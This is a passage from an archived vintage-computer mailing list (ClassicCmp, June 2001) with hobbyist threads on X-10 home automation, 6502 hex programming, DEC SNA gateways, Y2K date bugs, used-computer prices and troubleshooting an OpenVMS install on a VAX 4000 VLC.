2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <20010627132944.23370@mail.earthlink.net> from Tom Owad at "Jun 27, 1 09:29:44 am" Message-ID: <200106271541.IAA08226@stockholm.ptloma.edu> > Does anybody have any X-10 software for the Apple II? I do have the X-10 software for the C64. We got permission from the company to post it to comp.binaries.cbm -- the company owners were tickled people were still using C64s to control the modules, and said go ahead as long as it isn't sold. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Test-tube babies shouldn't throw stones. ----------------------------------- From spectre at stockholm.ptloma.edu Wed Jun 27 10:43:06 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:59 2005 Subject: FW: Whats a reasonable collection? In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD3715122C@jeffserver.tegjeff.com> from Douglas Quebbeman at "Jun 27, 1 08:15:19 am" Message-ID: <200106271543.IAA08258@stockholm.ptloma.edu> > You'll want to use a Mac to bridge Ethernet to Localtalk, if you > can find the software... Apple has it, check on asu.info.apple.com or til.info.apple.com. Free for the download. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Just because you're paranoid doesn't mean they aren't after you. ----------- From dhquebbeman at theestopinalgroup.com Wed Jun 27 10:40:40 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:59 2005 Subject: And The Award for Best ClassicCmp Troll... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715123F@jeffserver.tegjeff.com> ...has to go to Will Jennings, who most certainly must have realized the traffic it would generate. Tee hee. =dq From foo at siconic.com Wed Jun 27 10:06:54 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:59 2005 Subject: Pair of Apple I in a scrap pile In-Reply-To: Message-ID: On Tue, 26 Jun 2001, Mike Ford wrote: > One of my friends was digging through a pile of scrap and found two > Apple I computers in the wooden boxes. I expect to know more about it > maybe this weekend or next week. He didn't buy them, and asked me > today if they were worth getting. I told him someplace around $10k > each depending on condition, so I suspect he will be picking them up. Sounds fishy. Is he sure they are Apple 1's, and not just a wooden enclosure someone built around an Apple ][ motherboard? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From cisin at xenosoft.com Wed Jun 27 11:08:21 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:59 2005 Subject: FW: Silent 700 Model 707 In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151227@jeffserver.tegjeff.com> Message-ID: On Wed, 27 Jun 2001, Douglas Quebbeman wrote: > One of my 707s has the coupler; I'll see if I can't determine > the pinout for you, but IIRC, the connector carries audio > only. I used to have a Silent 700, no recollection of what sub-model it was. It had an acoustic coupler, and had a D15 connector. A little research turned up that the D15 carried BOTH RS232 compatible signals to/from the terminal, AND RS232 compatible signals to/from the modem! There was a jumper inside the machine that connected the two. By removing that jumper, it was possible to plug in a jumper plug for "normal" operation, or, with a homemade cable, I used the modem on a TRS-80, AND used the terminal as a serial printer. -- Grumpy Ol' Fred cisin@xenosoft.com From foo at siconic.com Wed Jun 27 10:11:57 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:59 2005 Subject: Request for those skilling in locating odd bits- In-Reply-To: <5.0.0.25.2.20010626231402.03254050@209.185.79.193> Message-ID: On Tue, 26 Jun 2001, Chuck McManis wrote: > At 11:29 PM 6/26/01 -0600, you wrote: > >I believe there is an x-ray machine in my ex-girlfriends' parents' > >garage.. I need to get the rest of my Wang out of her garage anyways, so I > >can check if you want... > > You left your Wang in your ex-girlfriends garage?!?!? :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Wed Jun 27 10:13:48 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:59 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: Message-ID: On Wed, 27 Jun 2001, Mike Ford wrote: > Is there an active area for 6502 programmers, mailing list or usenet group? I think comp.sys.apple2.programmer (or something like that) should still be around. > Two of my friends were real hotshots (Randy Hyde and Brian Fitzgerald) > so I planned to bug them when I got started again, but it could be > really picking cobwebs for both of them. I do still have a Apple II > nicely decked out ready to run LISA, but I guess I should update to > the version that fully used a IIgs. No assemblers for me...I program in hex! Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Wed Jun 27 10:15:01 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:59 2005 Subject: Whats a reasonable collection? In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD3715122D@jeffserver.tegjeff.com> Message-ID: On Wed, 27 Jun 2001, Douglas Quebbeman wrote: > Not many know this, but Chuck Peddle, who designed MCA, also gave it > legs to run up to 100MHz. However, I don't think IBM ever implemented > an MAC bus at that speed. Wow, I didn't know Peddle designed MCA. What else did he do (besides the 6502 and the PET)? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From ethan_dicks at yahoo.com Wed Jun 27 11:36:57 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:59 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <200106271541.IAA08226@stockholm.ptloma.edu> Message-ID: <20010627163657.75288.qmail@web9501.mail.yahoo.com> --- Cameron Kaiser wrote: > > Does anybody have any X-10 software for the Apple II? > > I do have the X-10 software for the C64. We got permission from the company > to post it to comp.binaries.cbm -- the company owners were tickled people > were still using C64s to control the modules, and said go ahead as long as > it isn't sold. I still use my CP-290 with a C-64 (that is, when I happen to have the CP-290 plugged _in_). Mostly, though, I've been using palm pads, not computer control. Got lots of X-10 stuff, more in boxes than in the walls. Some of it works, some has died over the past 10 years. Got one wall-switch module that only works over the AC lines (dead pushbutton), another that doesn't respond electronically, but the tiny override switch works. Someday, I might pull them both and combine them. :-) I was offered a *huge* box (> 1 cu ft) of modules at Dayton for $0.25 each. The seller said they didn't work and I didn't feel like speculating on a mondo pile of RS returns. I might have gotten the whole box for the cost of two or three modules, but the time involved to test them all was worth more than I felt they were worth. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Wed Jun 27 11:41:05 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:59 2005 Subject: Request for those skilling in locating odd bits- In-Reply-To: <200106271539.IAA12516@stockholm.ptloma.edu> Message-ID: <20010627164105.82135.qmail@web9503.mail.yahoo.com> --- Cameron Kaiser wrote: > > > > >garage.. I need to get the rest of my Wang out of her garage anyways, > > > > > You left your Wang in your ex-girlfriends garage?!?!? > > > > I was thinking she is his ex BECAUSE he put his Wang in her garage!!! > > > Why, isn't his Wang big enough? > > Man, I saw that coming about three replies ago. I'm still shaking my head over the "Smelly Wang" thread a couple of weeks ago. ObTopic - I think I have a box of Wang floppies (not to be confused with floppy wangs :-). It might be just the box itself - the contents are, IIRC, MINC software/lab data. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Wed Jun 27 11:45:55 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:59 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: Message-ID: <20010627164555.19165.qmail@web9506.mail.yahoo.com> --- Sellam Ismail wrote: > No assemblers for me...I program in hex! "When I was a kid, we only had ones and zeros, and we were lucky to have the ones!" Seriously, though, I did get my start on the 6502 by typing hex into the TIM monitor in the new PETs (old PETs had a tape-loadable monitor). I was overjoyed when one of the members of the local computer club sold me a 2532 with a 4K monitor program that did line-at-a-time assembly. I didn't mind page after page of LDAs and STYs, but it was a real boost to my productivity to not have to calculate branch offsets manually. My first "big" project with it was to hand-compile "Pirate's Adventure" from the article in Byte Magazine. The BASIC version that I had was way too slow. Still have it, and my notes. Some day, I'll finish decompiling and commenting it. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Wed Jun 27 11:47:45 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:59 2005 Subject: FW: Whats a reasonable collection? In-Reply-To: <200106271429.f5RETBZ08197@narnia.int.dittman.net> Message-ID: <20010627164745.78016.qmail@web9507.mail.yahoo.com> --- Eric Dittman wrote: > > DEC used to make an ethernet to SNA gateway based on the uVAXII, didn't > they? > > At work we have a couple of the SNA gateway boxes, and they are > based on the MVIII, but the earlier versions were based on the > MVII. The boxes we have are DESNB (ChannelServer II). That suggests that what I am thinking of is a DESNA. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From cisin at xenosoft.com Wed Jun 27 11:50:37 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:59 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <002c01c0fed4$72958fa0$9cc762d8@idcomm.com> Message-ID: On Wed, 27 Jun 2001, Richard Erlacher wrote: > 'seems the prices have gone down some since I last looked. > I looked into the X10 stuff about a decade back and it was about $120 to get > into the things, IIRC. Then you had to have an outlet into which to plug them, You don't need to do EVERY switch in the house to "get into" it. You just need ONE switch that is inconvenient enough to rationalize the "need". 23 years ago, the cost to "get into" X10 was about $30 - $40 from Radio Shack, or Sears. That was $15 - $25 for a controller, and about $15 per module, which included wall switches and duplex outlets, neither one of which "had to have an outlet into which to plug". BTW, the wall switch modules in those days resembled a normal toggle wall switch, except that when you turned the light on locally (by flipping the switch, it delayed a second before turning on. Some people couldn't handle that. Also, when the local switch was in the down position, the light could not be controlled remotely. The newer switches are push button, with a slide switch for lock-out. Now the modules are about $15, but they have become commonplace enough that there are occasional special deals, such as $2 or $3 modules. -- Grumpy Ol' Fred cisin@xenosoft.com From spectre at stockholm.ptloma.edu Wed Jun 27 11:55:40 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:59 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: from Sellam Ismail at "Jun 27, 1 08:13:48 am" Message-ID: <200106271655.JAA13820@stockholm.ptloma.edu> > No assemblers for me...I program in hex! Before I got a proper assembler, I wrote all my Commodore programs in the FastLoad monitor. .c000: a9 93 20 d2 ff a9 10 a0 c0 4c 1e ab .c010: "hello world" 0d 00 .gc000 [screen clear] hello world .% ready. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Conscience makes egotists of us all. -- Oscar Wilde ------------------------ From rhblake at bigfoot.com Wed Jun 27 11:53:31 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:59 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <20010627163657.75288.qmail@web9501.mail.yahoo.com> Message-ID: As for your only over the AC line wall switch, I've had them like that and rebuilt them and they actually last longer than the original once the tension is put back. I've only had one to actually be broken inside so I took it back to RS and they gave me a new one (I know the manager so it was easy). Wanna huess what they do with the old broken one - that's right - circular file (it's a write-off). -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Ethan Dicks Sent: Wednesday, June 27, 2001 11:37 AM To: classiccmp@classiccmp.org Subject: Re: X-10 (was Re: controlling power) --- Cameron Kaiser wrote: > > Does anybody have any X-10 software for the Apple II? > > I do have the X-10 software for the C64. We got permission from the company > to post it to comp.binaries.cbm -- the company owners were tickled people > were still using C64s to control the modules, and said go ahead as long as > it isn't sold. I still use my CP-290 with a C-64 (that is, when I happen to have the CP-290 plugged _in_). Mostly, though, I've been using palm pads, not computer control. Got lots of X-10 stuff, more in boxes than in the walls. Some of it works, some has died over the past 10 years. Got one wall-switch module that only works over the AC lines (dead pushbutton), another that doesn't respond electronically, but the tiny override switch works. Someday, I might pull them both and combine them. :-) I was offered a *huge* box (> 1 cu ft) of modules at Dayton for $0.25 each. The seller said they didn't work and I didn't feel like speculating on a mondo pile of RS returns. I might have gotten the whole box for the cost of two or three modules, but the time involved to test them all was worth more than I felt they were worth. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From chomko at greenbelt.com Wed Jun 27 12:11:34 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:59 2005 Subject: Looking for info - En-link Ethernet card for the Apple II References: <01Jun26.123308edt.119059@gateway.mediacen.navy.mil> Message-ID: <3B3A13C6.7E0B3760@greenbelt.com> Jeff Hellige wrote: > >Just 'cuz ethernet cards are $9 now and mice sell for as little as $1 doesn't > >mean they always did. You gotta remember the 1% rule (although it applies > >more to systems than peripherals) - ten years later, you can get a computer > >for 1% of its original purchase price. There are exceptions, of course, and > >much later, say, twenty years, it's not as cheap as 1% anymore, but that's > >due to scarcity and eBay fever. > > Not to mention that designing and producing a very low production board > such as the ethernet board for the IIGS surely isn't cheap. The volume just > isn't there to drive the price down. Michael Holley has finished the design > of a new floppy controller for the SS-50 bus machines and has a few examples > running and is testing them, but after paying for the fabrication of the PCB > and the various chips and other parts, the finished board is costing nearly > $100 in parts alone. I would imagine most on this list would balk at paying > that much but it certainly would fill a void if you were in desperate need > of a new floppy controller to get a machine up. 10 stops at the thrift store for 10 items that are stacked up collecting dust is the same. I think I would rather have the controller. Only thing is that I have too many corners in my house, or maybe not enough? :)) Eric > > > Jeff From chomko at greenbelt.com Wed Jun 27 12:21:17 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:59 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking References: <200106232234.f5NMYcQ35323@bg-tc-ppp896.monmouth.com> <018001c0fe6f$25ed2f60$8a0101ac@ibm23xhr06> Message-ID: <3B3A160D.90CC10B4@greenbelt.com> John Allain wrote: > > IBM came out with PC-DOS 7.0 (now renamed PC-DOS 2000). > > They made it y2k compliant and all that. > > What are some of the symptoms of y2K incompliancy? > The only one I actually ran into in 2000 was Unix date codes that looked like '19100'. I also got as 2 digit code of '10' as the program grabbed the third and fourth characters of '19100'. Unix has a time structure where it reurns the number of years since 1900. If programmed losely with the assumption of 1900 years one can get into trouble as outlined above. The two fixes took only a few minutes to fix. > I have been setting old machines (1994 -> before) to > current dates and have been getting no trouble, at least > as far as I could tell. > Yes, I believe MS-DOS and Mac OS didn't have the Unix-related time issue. Eric > > John A. From dittman at dittman.net Wed Jun 27 12:26:08 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:59 2005 Subject: FW: Whats a reasonable collection? In-Reply-To: <20010627164745.78016.qmail@web9507.mail.yahoo.com> from "Ethan Dicks" at Jun 27, 2001 09:47:45 AM Message-ID: <200106271726.f5RHQ8g08878@narnia.int.dittman.net> > > > DEC used to make an ethernet to SNA gateway based on the uVAXII, didn't > > they? > > > > At work we have a couple of the SNA gateway boxes, and they are > > based on the MVIII, but the earlier versions were based on the > > MVII. The boxes we have are DESNB (ChannelServer II). > > That suggests that what I am thinking of is a DESNA. Most probably. The DESNA is a ChannelServer. The DEMSA and DEMSB are the MicroServer and MicroServer-SP and are PU2, while the DESNA and DESNB are PU5. -- Eric Dittman dittman@dittman.net From SUPRDAVE at aol.com Wed Jun 27 12:26:32 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:04:59 2005 Subject: Whats a reasonable collection? Message-ID: In a message dated 6/27/01 4:42:35 AM Central Daylight Time, mikeford@socal.rr.com writes: << >BTW, I'm also very fond of MCA. Just glad I haven't got on my own desktop. =) A model 9595 was the first computer I was really impressed with mechanically when I opened it up. Its built like a Porsche, and actually LOOKS good internally. I have a couple dozen of various models, with about a dozen 9595 servers. One of my big scores in the auction last month was a box of 3Com MCA 10bt cards I had been trying to buy for a year or two. >> I've enough MCA goodies to fill an entire room. My favourites are the 95xx series, since they are a bit more modern with the IML partition and all that. One of my neatest machines is the "E" machine and an ultimedia model with the MO disk drive and the video capture card, all running perfectly under OS/2. From chomko at greenbelt.com Wed Jun 27 12:28:33 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:59 2005 Subject: Looking for info - En-link Ethernet card for the Apple II References: <20010626190433.5529.qmail@web9506.mail.yahoo.com> Message-ID: <3B3A17C1.5283B1EB@greenbelt.com> Ethan Dicks wrote: > --- Eric Chomko wrote: > > Ethan Dicks wrote: > > >You gotta remember the 1% rule (although it applies > > > more to systems than peripherals) - ten years later, you can get a computer > > > for 1% of its original purchase price. There are exceptions... > > > due to scarcity and eBay fever. > > > > Wait now, my Mac II fx, was $10,000 when it came out, that means its worth > > $100 today? > > I have purchased $10,000 systems ten years later for $100. I have also > purchased $3,000 systems for $30. Personally, I would not pay as much > as $100 for a IIfx. I might pay that much for a Quadra 950, but it had > better have a bunch of RAM in it. I have been buying MacIIsi's for $5-$10 > (to get the ethernet cards for SE/30's) and Quadra-600-series machines for > <$20 lately. I got a working IBM Thinkpad (486) at Dayton, with case and > modem for $20 and a docking station for $5. A few years ago, I passed up a > Lisa at a Hamfest, complete with docs, software and printer - it sold later > that day for $25. > Ouch! The big one that got away! > > So about that 1%... > > I'll say this, though... it's not strictly linear. It's hard to find a > computer at 1% that originally sold for $100. It's much easier at the > $10,000 level. Something about price inelasticity at the low end... > > > What's eBay fever? How can I get others to catch it? > > eBay fever is what the guy at the hamfest had when I attempted to haggle > over copies of David Ahl's books that he wanted $50 each for. When I > made a counter-offer, he said, "I can get _at least_ $50 on eBay!" I > asked him why he bothered to come to Dayton then, and wouldn't he just be > happier somewhere else? I also left without even looking at anything else > he had to buy. So you're saying 'eBay fever' is a seller's malady? Eric > > > -ethan > > ===== > Visit "The Seventh Continent" > http://penguincentral.com/penguincentral.html > > __________________________________________________ > Do You Yahoo!? > Get personalized email addresses from Yahoo! Mail > http://personal.mail.yahoo.com/ From mtapley at swri.edu Wed Jun 27 12:29:51 2001 From: mtapley at swri.edu (Mark Tapley) Date: Sun Feb 27 19:04:59 2005 Subject: Slightly OT: Help? Apple CD 300 and VAX 4000 VLC Message-ID: Hello, Multiple apologies in advance: The peripherals are generally on-topic (and I think that's where my problem is), but the primary unit under investigation, the VAX, isn't until next year. Also, please forgive the long post. Finally, I'm in digest mode, so I'll respond slowly unless you cc me at mtapley@swri.edu . I'm trying to load OpenVMS Hobbyist (at last!) onto a VaxStation 4000 VLC. A lot is working, but something isn't. Here's what I have: VaxStation 4000 VLC 16 M Ram RZ26-L (1Gig) hard drive, no jumpers on terminator block, SCSI ID 1. S3 in up position Rainbow 100A, running Kermit on MS-DOS 3.11b, 9600/8/n/1 Offset-snap RJ11 DEC serial console cable, from VAX console connector to adaptor to DB25 at Rainbow COMM port 50pin M-M Centronics-type (off-brand) SCSI cable AppleCD 300 external (caddy-load) (can you see trouble coming right here?) SCSI ID = 2 External SCSI terminator. The SCSI is, if I'm correctly reading what RZ26 docs I have, terminated at the RZ26 and at the CD drive. (I know, this is not both "ends" of the cable. The RZ-26 is within about 10 cm. of the computer end of the cable.) I've tried the terminator-block jumper in all three positions (off, on one pair, on the other pair) on the RZ26, same results. I've also tried with and without the external terminator on the CD, same results. When I turn everything else on, load the CD caddy with the DEC Hobbyist VMS CD in place, then turn on the VAX, I see on the Rainbow (edited from the Kermit session log, esc/other special characters dealt with harshly by my text editor and me): KA48-A V1.3-343-V4.0 08-00-2B-2A-D7-1A 16MB |xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx| ?? 010 2 LCG 0086 ?? 001 9 NI 0172 ?? 121 10 SCSI 0034 >>> uh-oh. I'm *hoping* the LCG line means no monitor attached to the VAX graphics board (true, also no keyboard or mouse - yet), and the NI line means I'm not connected to a network (also true, so far). Anybody with a 4000 VLC owners' manual? The SCSI line worries me. (When I boot without the CD drive attached, or with the CD drive turned off, it does not appear.) If I then do SHOW CONFIG I see: KA48-A V1.3-343-V4.0 08-00-2B-2A-D7-1A 16MB DEVNBR DEVNAM INFO ------ -------- -------------------------- 1 NVR OK 2 LCG ?? 010 0086 HR - 8 PLN FB - V1.2 3 DZ OK 4 CACHE OK 5 MEM OK 16MB = S0/1=8MB, S2/3=8MB, S4/5=0MB 6 FPU OK 7 IT OK 8 SYS OK 9 NI ?? 001 0172 10 SCSI ?? 121 0034 1-RZ26L 2-CD-ROM 6-INITR 11 AUD OK >>> The SCSI system has correctly identified the addresses and types of the two drives on it - but still shows ??'s. (I can change the address at which INITR appears, using the SET SCSI command. No effect that I've noticed. Things were wierd when the CD-ROM SCSI ID and INITR were both set to 6.) If I then do SHOW DEV, the RZ26 spins up, starts clicking and clacking, and I see: VMS/VMB ADDR DEVTYPE NUMBYTES RM/FX WP DEVNAM REV ------- ---- ------- -------- ----- -- ------ --- ESA0 08-00-2B-2A-D7-1A ?33 UNXINT 010 00000002 041F0000 and the system seems to stop there. I can out back to the >>> prompt, but never get the info for either the RZ26 or the CD drive. (With no CD drive, I do see info (correct, as far as I can tell) for the RZ26.) I can repeat SHOW DEV and SHOW CONFIG with the same results. If I then enter BOOT DKA200 I see: ?02 EXT HLT PC= 2004ACA4 PSL= 041F0000 and that's about as far as it goes. I can still back to the prompt. *However*, if I shut down the VAX, Start back up, and at the first prompt, enter boot dka200 , the CD active light goes on and flickers as though it were being accessed, and the Rainbow shows: -DKA200 %SYSBOOT-I-SYSBOOT Mapping the SYSDUMP.DMP on the System Disk %SYSBOOT-W-SYSBOOT Can not map SYSDUMP.DMP on the System Disk %SYSBOOT-W-SYSBOOT Can not map PAGEFILE.SYS on the System Disk OpenVMS (TM) VAX Version X72T Major version id = 1 Minor version id = 0 PLEASE ENTER DATE AND TIME (DD-MMM-YYYY HH:MM) I enter 26-JUN-2001 and see: Configuring devices . . . Available device DKA100: device type RZ26L Available device DKA200: device type SONY CD-ROM CDU-8 %BACKUP-I-IDENT, Stand-alone BACKUP T7.2; the date is 26-JUN-2001 00:00:56.16 $ Up to here it matches pretty well with what the docs for the Hobbyist CD indicate. I enter BACKUP/IMAGE DKA200:VMS072.B/SAVE DKA100: and see: %SYSTEM-I-MOUNTVER, SABKUP$DKA200: is offline. Mount verification in progress. and that's all I see, at least for as long as I've had patience to watch. The CD active light is off from then on. When my patience runs out, I hit on the Rainbow, get a >>> prompt, and do SHOW DEV (same result as above), , SHOW CONFIG (same as above), and then SHOW DEV and I see: VMS/VMB ADDR DEVTYPE NUMBYTES RM/FX WP DEVNAM REV ------- ---- ------- -------- ----- -- ------ --- ESA0 08-00-2B-2A-D7-1A DKA100 A/1/0 DISK 1.05GB FX RZ26L 441T DKA200 A/2/0 RODISK 681.57MB RM WP CD-ROM 1.9a A/2/7 A/2/7 A/2/7 A/2/7 ..HostID.. A/6 INITR Now the SCSI system has identified the CD drive as a SONY and correctly read data from the CD (else how did it know that it was trying to load OpenVMS 7.2?)! Yet something is still, to quote the bard, "rotten in Denmark". I can't get (haven't gotten?) through the install sequence any farther than the accursed %SYSTEM-I-MOUNTVER. Out of decorum, I suppose I should say WITW? (What in the World?) but stronger language is what I have in mind. Clues would be well appreciated. I have not tried disassembling the SCSI drive - it seems to work OK with the NeXT, and with Macs (PB3400, Plus). I could do that, though. Help? In the absence of any clues, I'll probably take apart the CD300 to see if I can spot anything obviously misjumpered, then start hunting for a real DEC external CD drive. - Mark From chomko at greenbelt.com Wed Jun 27 12:36:39 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:59 2005 Subject: 1% (was Re: Looking for info - En-link Ethernet card for the Apple II) References: <20010626193529.55094.qmail@web9505.mail.yahoo.com> Message-ID: <3B3A19A7.8CF97C46@greenbelt.com> Ethan Dicks wrote: > --- Eric Chomko wrote: > > Ethan Dicks wrote: > > > ...the 1% rule - ten years later, you can get a computer for 1% of its > > > original purchase price. > > > > Wait now, my Mac II fx, was $10,000 when it came out, that means its worth > > $100 today? > > I just re-read this and wanted to make sure I understood... did you mean > it was worth _as much_ as $100 or _no more than_ $100? My assertion is > the *max* value after 10 years tends towards 1%. It's a rough guide, not > an inviolate figure, but for estimation, the real numbers should be closer > to 1% than, say, 5%. Well I suspect that the 1% rule means that a system is a) not rare, and b) totally obsolete in the sense that all its functionality can be had in newer machines (more at superset). I'm trying to think of a coin collecting equivalent and can only think of coins sold by the pound (weight). Many coin dealers actually buy foreign coins that way. I was think that ISA cards could trade that way (weight). > > > This rule seperates computers from other forms of manufactured goods because > they are rarely worth 1% or less while still functioning. Think of a car. No, actually a car IS a good example. What is the value (scrap) of a cubed car? > > Is a 10-year-old car worth 1%? Probably closer to 10%, maybe as much as 20% > (collectables notwithstanding here). Is there ever a time in a car's life > when it is worth 1% and still running? I doubt it, but I'm willing to > entertain exceptions. > 'Still running' does make a difference. And 'still running' computers obviously are worth more than scrap, IMO. But it seems that many of them (still running computers) do get scrapped. Eric > > -ethan > > ===== > Visit "The Seventh Continent" > http://penguincentral.com/penguincentral.html > > __________________________________________________ > Do You Yahoo!? > Get personalized email addresses from Yahoo! Mail > http://personal.mail.yahoo.com/ From chomko at greenbelt.com Wed Jun 27 12:46:13 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:59 2005 Subject: Request for those skilling in locating odd bits- References: Message-ID: <3B3A1BE5.95B0F1E4@greenbelt.com> Sellam Ismail wrote: > On Tue, 26 Jun 2001, Chuck McManis wrote: > > > At 11:29 PM 6/26/01 -0600, you wrote: > > >I believe there is an x-ray machine in my ex-girlfriends' parents' > > >garage.. I need to get the rest of my Wang out of her garage anyways, so I > > >can check if you want... > > > > You left your Wang in your ex-girlfriends garage?!?!? > Now, this Wang, is it a mini or micro? Eric > > :) > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org From mikeford at socal.rr.com Wed Jun 27 12:15:43 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:59 2005 Subject: SMC Ethernet In-Reply-To: <20010627030300.FJTA216.tomts7-srv.bellnexxia.net@duron> References: <200106262317.f5QNHbT04528@bg-tc-ppp1165.monmouth.com> <20010626204200.LIVY2764.tomts14-srv.bellnexxia.net@duron> from "jpero@sympatico.ca" at "Jun 26, 2001 04:45:28 pm" Message-ID: I've been trained to gather up all the 3Com NICs I find with the chip that says "parallel tasking" on it, but no clue if its really better etc. From mikeford at socal.rr.com Wed Jun 27 12:39:17 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:59 2005 Subject: FW: Whats a reasonable collection? In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD3715122C@jeffserver.tegjeff.com> Message-ID: >> software. I want to have as many different kinds of segments on my network >> as I can manage, which means running a model 95 OS/2 system to bridge >> between 10bt and tokenring on twinax. > >To round out that heterogeny, you need a set of Thomas-Conrad ARCNet >cards (unless you can find 20Mbps-Datapoint cards), a passive hub, >and a serial-port-based Token-ring network that uses software written >in Russia. The Russian software lets you host drives that are actually >shares from other machines! > >You'll want to use a Mac to bridge Ethernet to Localtalk, if you >can find the software... I have a case of new in the box Thomas Conrad ARCnet cards, and more different ethernet to localtalk boxes and software than most people even know exist. Cheapest is to download from Apple the now free formerly I think Sonic LocalTalk bridge software (running on my starmax right now bridging the localtalk segment with my NEC laser printer). From foo at siconic.com Wed Jun 27 11:59:45 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:59 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <20010627164555.19165.qmail@web9506.mail.yahoo.com> Message-ID: On Wed, 27 Jun 2001, Ethan Dicks wrote: > Seriously, though, I did get my start on the 6502 by typing hex into > the TIM monitor in the new PETs (old PETs had a tape-loadable > monitor). I was overjoyed when one of the members of the local > computer club sold me a 2532 with a 4K monitor program that did > line-at-a-time assembly. I didn't mind page after page of LDAs and > STYs, but it was a real boost to my productivity to not have to > calculate branch offsets manually. I first started to learn assembly language when I noticed that the mnemonics in the assembly listings in the Apple II Reference Manual had hex codes next to them, which corresponded with what you'd see when you listed code in the Apple ][ monitor. I then had the brilliant idea to poke a byte into a location in the monitor and then list it to see if the hex code produced the associated mnemonic, and sure enough it did! I was flabbergasted. Of course this was a completely silly discovery, but for someone hacking on their lonesome and having to rely on themself to figure things out, it was a big breakthrough. I got really good at programming in hex code, and never moved on to assemblers. I tried a few, and had many of the ones popular during the day (EDASM, LISA, Orca/M, Big Mac, etc.) but never liked any of them. I preferred the immediacy of the monitor and hex codes. I got to the point where I rarely had to reference the manual. I knew all the opcodes for all the instructions in all their various addressing modes, etc. I even got good at calculating offsets for relative jumps in my head (like an idiot savant). To this day I can still pound out 6502 code in hex. It's so ingrained in my skull that it's scary. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Wed Jun 27 12:05:26 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:59 2005 Subject: Looking for info - En-link Ethernet card for the 